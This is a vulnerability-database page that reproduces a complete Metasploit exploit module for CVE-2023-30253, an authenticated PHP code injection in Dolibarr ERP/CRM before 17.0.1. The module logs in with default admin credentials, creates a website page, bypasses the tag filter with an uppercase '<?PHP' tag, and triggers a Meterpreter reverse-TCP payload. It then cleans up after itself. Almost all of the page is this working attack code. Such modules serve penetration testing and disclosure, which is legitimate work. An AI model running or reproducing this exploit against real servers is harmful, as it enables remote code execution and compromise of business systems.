Lucene search
K

📄 Dolibarr ERP/CRM Authenticated Code Injection

🗓️ 14 May 2026 00:00:00Reported by Emanuele Cervelli, Tinexta Cyber Offensive Security TeamType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 69 Views

Authenticated user can inject PHP in Dolibarr Website module by bypassing filters; fixed in version seventeen point zero point one.

Related
Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Dolibarr ERP/CRM Authenticated Code Injection',
            'Description' => %q{
              Dolibarr ERP/CRM before 17.0.1 allows remote code execution by an
              authenticated user who has access to the Website module. The
              application filters lowercase `<?php` tags to prevent PHP code
              injection in website page content, but this check can be bypassed
              by using an uppercase variant such as `<?PHP`. This
              allows injecting arbitrary PHP code that is executed when the
              website page is rendered. Versions prior to 17.0.1 are known to
              be vulnerable. The vulnerability was fixed in version 17.0.1.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Tinexta Cyber Offensive Security Team', # Discovery
              'Emanuele Cervelli'                      # Metasploit module
            ],
            'References' => [
              ['CVE', '2023-30253'],
              ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-30253'],
              ['URL', 'https://www.swascan.com/security-advisory-dolibarr-17-0-0/']
            ],
            'Platform' => ['php'],
            'Arch' => [ARCH_PHP],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP Meterpreter',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp',
                    'Encoder' => 'php/base64'
                  }
                }
              ]
            ],
            'DisclosureDate' => '2023-05-29',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('USERNAME', [true, 'Dolibarr username', 'admin']),
            OptString.new('PASSWORD', [true, 'Dolibarr password', 'admin']),
            OptString.new('TARGETURI', [true, 'Base path to Dolibarr', '/'])
          ]
        )
      end
    
      def referer(path)
        proto = datastore['SSL'] ? 'https' : 'http'
        "#{proto}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{normalize_uri(target_uri.path, path)}"
      end
    
      def get_csrf_token(path, referer: nil)
        headers = {}
        headers['Referer'] = referer if referer
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, path),
          'method' => 'GET',
          'keep_cookies' => true,
          'headers' => headers
        )
    
        return nil if res.nil?
    
        html = res.get_html_document
        token_meta = html.at('meta[@name="anti-csrf-newtoken"]')
        return token_meta['content'] if token_meta
    
        token_input = html.at('input[@name="token"]')
        return token_input['value'] if token_input
    
        nil
      end
    
      def login
        token = get_csrf_token('index.php')
        fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token from login page') if token.nil?
    
        vprint_status("Attempting login as #{datastore['USERNAME']}")
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => {
            'Referer' => referer('index.php')
          },
          'vars_post' => {
            'token' => token,
            'actionlogin' => 'login',
            'loginfunction' => 'loginfunction',
            'username' => datastore['USERNAME'],
            'password' => datastore['PASSWORD']
          }
        )
    
        fail_with(Failure::Unreachable, 'No response received during login') if res.nil?
        fail_with(Failure::NoAccess, 'Login failed - invalid credentials') if res.body.include?('Bad value for login or password')
    
        print_good('Successfully authenticated to Dolibarr')
      end
    
      def check
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'method' => 'GET'
        )
    
        return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
        return CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200
        return CheckCode::Safe('Target does not appear to be running Dolibarr') unless res.body.downcase.include?('dolibarr')
    
        version = nil
        if res.body =~ /Dolibarr\s+(\d+\.\d+\.\d+)/i
          version = ::Regexp.last_match(1)
        end
    
        if version
          ver = Rex::Version.new(version)
          if ver < Rex::Version.new('17.0.1')
            return CheckCode::Appears("Vulnerable version detected: #{version}")
          else
            return CheckCode::Safe("Not vulnerable, version detected: #{version}")
          end
        end
    
        CheckCode::Detected('Dolibarr detected but version could not be determined')
      end
    
      def create_website
        @website_name = Rex::Text.rand_text_alpha_lower(8)
        vprint_status("Creating website: #{@website_name}")
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
    
        fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for website creation') if token.nil?
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_post' => {
            'token' => token,
            'action' => 'addsite',
            'website' => '-1',
            'WEBSITE_REF' => @website_name,
            'WEBSITE_LANG' => 'en',
            'addcontainer' => 'Create'
          }
        )
    
        fail_with(Failure::Unreachable, 'No response when creating website') if res.nil?
        fail_with(Failure::NotVulnerable, 'Website module is not enabled') if res.body.include?('Access denied')
    
        print_good("Website '#{@website_name}' created")
        @website_created = true
      end
    
      def create_page
        @page_name = Rex::Text.rand_text_alpha_lower(6)
        vprint_status("Creating page: #{@page_name}")
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
        fail_with(Failure::UnexpectedReply, 'Could not get CSRF token for page creation') if token.nil?
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_post' => {
            'token' => token,
            'action' => 'addcontainer',
            'website' => @website_name,
            'radiocreatefrom' => 'checkboxcreatemanually',
            'WEBSITE_TYPE_CONTAINER' => 'page',
            'sample' => 'empty',
            'WEBSITE_TITLE' => @page_name,
            'WEBSITE_PAGENAME' => @page_name,
            'WEBSITE_LANG' => 'en',
            'addcontainer' => 'Create'
          }
        )
    
        fail_with(Failure::Unreachable, 'No response when creating page') if res.nil?
        fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    
        html = res.get_html_document
        page_option = html.at('select[@name="pageid"] option[selected]')
        fail_with(Failure::UnexpectedReply, 'Could not find page ID') if page_option.nil?
    
        @page_id = page_option['value']
        fail_with(Failure::UnexpectedReply, 'Could not find page ID') if @page_id.to_s.empty?
    
        print_good("Page '#{@page_name}' created with ID #{@page_id}")
      end
    
      def inject_and_trigger
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
        fail_with(Failure::UnexpectedReply, 'Could not get CSRF token') if token.nil?
    
        section_id = Rex::Text.rand_text_alpha_lower(8)
        page_content = %(<section id="#{section_id}" contenteditable="true"><?PHP #{payload.encoded}; ?></section>)
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_post' => {
            'token' => token,
            'backtopage' => '',
            'dol_openinpopup' => '',
            'action' => 'updatesource',
            'website' => @website_name,
            'pageid' => @page_id,
            'update' => 'Save',
            'PAGE_CONTENT' => page_content
          }
        )
    
        fail_with(Failure::Unreachable, 'No response when injecting payload') if res.nil?
    
        print_good('Payload injected, triggering...')
    
        send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'public', 'website', 'index.php'),
          'method' => 'GET',
          'vars_get' => {
            'website' => @website_name,
            'pageref' => @page_name
          }
        }, 5)
      end
    
      def get_website_id
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'GET',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_get' => {
            'action' => 'deletesite',
            'token' => token,
            'website' => @website_name
          }
        )
    
        return nil if res.nil?
    
        match = res.body.match(%r{/website/index\.php\?id=(\d+)&action=confirm_deletesite})
        return match[1] if match
    
        nil
      end
    
      def delete_page
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'POST',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_post' => {
            'token' => token,
            'backtopage' => '',
            'website' => @website_name,
            'pageid' => @page_id,
            'delete' => 'Delete'
          }
        )
      end
    
      def delete_website
        website_id = get_website_id
        return if website_id.nil?
    
        token = get_csrf_token('website/index.php', referer: referer('website/index.php'))
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'website', 'index.php'),
          'method' => 'GET',
          'keep_cookies' => true,
          'headers' => { 'Referer' => referer('website/index.php') },
          'vars_get' => {
            'id' => website_id,
            'action' => 'confirm_deletesite',
            'confirm' => 'yes',
            'token' => token,
            'delete_also_js' => '',
            'delete_also_medias' => ''
          }
        )
      end
    
      def cleanup
        super
    
        return unless @website_created
    
        begin
          vprint_status("Cleaning up website '#{@website_name}'")
          delete_page if @page_id
          delete_website
          print_good("Website '#{@website_name}' deleted")
        rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout => e
          print_warning("Cleanup failed: #{e.message}")
        end
      end
    
      def exploit
        login
        create_website
        create_page
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    
        inject_and_trigger
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.18.8
EPSS0.79195
SSVC
69